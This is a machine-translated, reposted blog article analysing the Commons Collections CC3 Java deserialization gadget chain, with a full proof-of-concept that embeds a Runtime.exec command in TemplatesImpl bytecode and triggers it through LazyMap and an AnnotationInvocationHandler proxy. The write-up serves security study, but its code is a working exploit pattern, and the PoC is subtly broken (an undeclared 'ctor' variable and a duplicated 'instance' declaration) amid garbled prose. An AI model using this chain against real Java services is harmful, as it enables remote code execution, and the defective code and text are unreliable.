• 周日. 11月 27th, 2022

5G编程聚合网

5G时代下一个聚合的编程学习网

热门标签

Analysis of common collections deserialization utilization chain (3)

[db:作者]

1月 6, 2022

The previous analysis of CC1 and CC2 Using the chain , In general, it’s through InvokerTransformer#transforme Reflection calls cause code execution , But the concrete structure , Let’s review CC1 and CC2 The idea of .

CC1

  • Create a new one map And bind the constructed Chainedtransformer

  • obtain map The key/value pair , And then call setValue Method to modify the value or put Method is called to Chainedtransformer#transform, Thus make use of InvokerTransformer#transform The reflection code of triggers malicious logic , Leading to command execution .

CC2

  • Well structured payload Cause to trigger to InvokerTransformer#transform, I won’t elaborate here

  • utilize InvokerTransformer#transform Reflection code in reflection calls Templatesimpl Class newTransformer Method

  • Templatesimpl#newTransformer Call in Templatesimpl#getTransletInstance Method

  • getTransletInstance Method first Templatesimpl Member variables of _bytecode It’s like a Class object .

  • And then it’s still going through newinstance() Method creates an instance of the restored object , Creating an instance executes the initialization block of the class , So it leads to command execution .

POC

The poc It also uses javassist Etc , This article will not repeat , You can refer to commons-collections Analysis of deserialization utilization chain (1) and commons-collections Analysis of deserialization utilization chain (2)

package ysoserial.payloads;
import javax.xml.transform.Templates;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.annotation.Retention;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC3 {
public static void main(String[] args) throws Exception {
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
ClassPool pool = ClassPool.getDefault();
pool.appendClassPath(AbstractTranslet);
CtClass ct = pool.makeClass("CC_3");
ct.setSuperclass(pool.get(AbstractTranslet)); // Set created CC_3 The parent of a class is AbstractTranslet
ct.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes = ct.toBytecode();// Convert to byte Array
// Object templatesImpl = new TemplatesImpl(); // Call the constructor to create TemplatesImpl
Object templatesImpl=Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance();// Reflection to create TemplatesImpl
// Reflection settings templatesImpl Of _bytecodes Field
Field _bytecodes = templatesImpl.getClass().getDeclaredField("_bytecodes");
_bytecodes.setAccessible(true);
_bytecodes.set(templatesImpl,new byte[][]{bytes});
// Reflection settings templatesImpl Of _name Field
Field _name = templatesImpl.getClass().getDeclaredField("_name");
_name.setAccessible(true);
_name.set(templatesImpl,"Mmuzz");
// Reflection settings templatesImpl Of _tfactory Field , Not setting will cause
Field _tfactory = templatesImpl.getClass().getDeclaredField("_tfactory");
_tfactory.setAccessible(true);
_tfactory.set(templatesImpl,new TransformerFactoryImpl());
// structure transformers
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.entrySet();
// take innnerMap and transformerChain( Conversion chain ) binding , When calling lazymap.get() Method will trigger the conversion chain trasnformer Method , Leading to command execution
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
Object instance = ctor.newInstance(Override.class, outerMap);
Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,outerMap);
Map map1=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
Object instance = constructor.newInstance(Override.class,map1);
//payload Serialize write file , Analog network transmission
FileOutputStream f = new FileOutputStream("payload.bin");
ObjectOutputStream fout = new ObjectOutputStream(f);
fout.writeObject(instance);
//2. Read file from server , Deserialization , Analog network transmission
FileInputStream fi = new FileInputStream("payload.bin");
ObjectInputStream fin = new ObjectInputStream(fi);
// Server side deserialization
fin.readObject();
}
}

Vulnerability analysis

The point of vulnerability is that InstantiateTransformer#transform Method , The function of this method is reflection call input( It’s a Class The object of ) The construction method of the class described . Just parameters input and iParamTypesiArgs Field controllable , Then it can be reflected to the construction method of the target class .

stay InstantiateTransformer In the construction method of iParamTypes and iArgs Field assignment . And this class implements Transformer Interface

Here we use chain analysis to InstantiateTransformer#transform The method is the dividing point , In two parts :

  • How to construct and finally execute to InstantiateTransformer#transform Method , This step is called controlling the reflection utilization chain ( Convenient description , My own name )

  • How to construct talent InstantiateTransformer#transform Method is executed after the reflection call Templatesimpl#getTransletInstance Methods newinstance, This step is called command execution utilization chain

Control reflection utilization chain

Still familiar with ChainedTransformer class ,iTransformers Field is a Transformer An array of types , Assign a value , This field is assigned a value in the constructor .ChainedTransformer#transform Will call iTransformers For each element in the array transform Method , And take the previous result as the next input parameter .

stay LazyMap#get In the method factory The fields are ChainedTransformer You can call the ChainedTransformer#transform

factory It’s also Transformer type . stay LazyMap#decorate Method reception 2 Parameters , One is map Type of , The other is factory, And will give factory Field assignment

When calling lazyMap Of get Method ChainedTransformer#transform, But there’s a problem here InstantiateTransformer#transform Method needs a target class Class Object as parameter , There are two ways

  • call lazyMap#get Method when passing in the corresponding Class object ( This can’t take advantage of the deserialization chain , I’ll talk about it later )

  • Found an implementation Transformer The class of the interface , His transform Method to a target class corresponding to Class object

ConstantTransformer Class just satisfies the condition : The construction method can be used to IConstant Attribute assignment ,transform Methods will IConstant The value of is returned intact

therefore poc The construction code for controlling reflection in is as follows , stay InstantiateTransformer#transform Method is called to TrAXFilter Construction method of class

// structure transformers
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(
new Class[]{Templates.class},
new Object[]{templatesImpl})
};
// structure ChainedTransformer
Transformer transformerChain = new ChainedTransformer(transformers);
Map innerMap = new HashMap();
// innerMap.entrySet();
// take innnerMap and ChainedTransformer( Conversion chain ) binding , When calling lazymap.get() Method will trigger the conversion chain trasnformer Method , Leading to command execution
Map outerMap = LazyMap.decorate(innerMap, transformerChain);

Command execution utilization chain

TrAXFilter Class templates Parametric newTransformer Method , Just need to make templates Parameter is TemplatesImpl An example of

The next step is with cc2 It’s the same

newTransformer Method is called getTransletInstance() Method

getTransletInstance() In the method newinstance Method to create an instance and execute the command , therefore _class[_transletIndex] It must be a and AbstractTranslet Class of a class that has an inheritance relationship Class object .

Let’s see _class The place of assignment , When _name And is not null _class It’s empty ( therefore poc Set up _name), Will call defineTransletClasses() Method .

defineTransletClasses() In the method , It’ll go through the classloader defineClass Method to restore the byte stream to a Class object .

Then call restore. Class Object’s newinstace Method executes a static block of code when it creates an instance , So it leads to command execution .

How to deserialize trigger vulnerability

As mentioned earlier, when calling LazyMap Of get Method will trigger the vulnerability , If you find a class’s readObject Method , And in this method, the LazyMap Of get Method, then you can , The question is how to trigger it ?

stay AnnotationInvocationHandler#readObject Will call this.memberValues.entrySet(),

In the construction method memberValues Field assignment

AnnotationInvocationHandler#invoke If this.memberValue yes LazyMap object , Then it will call lazymap.get Method , Which triggers the vulnerability .

We’ll use it here java Knowledge of dynamic agent , The code comes from Liao Xuefeng java course – A dynamic proxy

public class Main {
public static void main(String[] args) {
// Generation processing call method ( That is to say morning Method ) Of InvocationHandler,
InvocationHandler handler = new InvocationHandler() {
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println(method);
if (method.getName().equals("morning")) {
System.out.println("Good morning, " + args[0]);
}
return null;
}
};
Hello hello = (Hello) Proxy.newProxyInstance(
Hello.class.getClassLoader(), // Pass in ClassLoader
new Class[] { Hello.class }, // Pass in the interface to be implemented
handler); // Incoming processing call method ( That is to say morning Method ) Of InvocationHandler

hello.morning("Bob");
}
}
// Proxied interface
interface Hello {
void morning(String name);
}

Hello An interface is a proxy interface , This interface defines morning Method ,

main Method into a processing call method ( That is to say morning Method ) Of handler object ( Inherited from InvocationHandler), The object invoke Method defines the specific method to handle the proxy interface (morning Method ) The logic of , And then through Proxy.newProxyInstance Method generates one Dynamic proxy class hello, When calling hello.morning Method will eventually be up to handler Of invoke Method .

Here poc Construction is the use of dynamic agents

AnnotationInvocationHandler Realized InvocationHandler, Is a class that deals with annotation methods . When the proxy method of the proxy class is called, it is eventually passed to the bound InvocationHandler Example of invoke Method treatment .

therefore poc Mr. Zhong has become one invocationHandler This is the real way to deal with the methods of the proxied class handler, Then the proxy class is created (LazyMap) Proxy class proxyMap. And then through the construction method new One. AnnotationInvocationHandler Namely instance,instance Medium memberValues Fields are proxy classes proxymap.

When instance Called on deserialization this.memberValues.entrySet(), If at this time this.memberValues Times theory proxyMap,entryset It’s the method of being represented ( That is to say lazymap Methods ), Then the class that actually handles the calling method is called ( That is to say AnnotationInvocationHandler) Of invoke Method ,poc Call in AnnotationInvocationHandler The construction method of will memberValues Field assignment is a proxy class LzayMmap, So it will cause the vulnerability to trigger .

Class cls=Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor=cls.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
// Create a InvocationHandler
InvocationHandler invocationHandler=(InvocationHandler)constructor.newInstance(Override.class,outerMap);
// establish LazyMap Proxy class
Map proxyMap=(Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),LazyMap.class.getInterfaces(),invocationHandler);
// Create a InvocationHandler
Object instance = constructor.newInstance(Override.class,proxyMap);

summary

Through the above analysis , We can find out CC3 In fact, that is CC1 The first half of the chain and CC2 The second half of the chain , The process is as follows

  • Create a new one LazyMap And bind the constructed Chainedtransformer

  • call LazyMap Of get Method will call the Chainedtransformer#transform Thus make use of InstantiateTransformer#transform Call to TrAXFilter Construction method of class

  • TrAXFilter Class Templatesimpl#newTransformer

  • Templatesimpl#newTransformer Call in Templatesimpl#getTransletInstance

  • getTransletInstance Method first Templatesimpl Member variables of _bytecode It’s like a Class object . And then it’s still going through newinstance() Method creates an instance of the restored object , Creating an instance executes the initialization block of the class , So it leads to command execution .

发表回复

您的电子邮箱地址不会被公开。 必填项已用*标注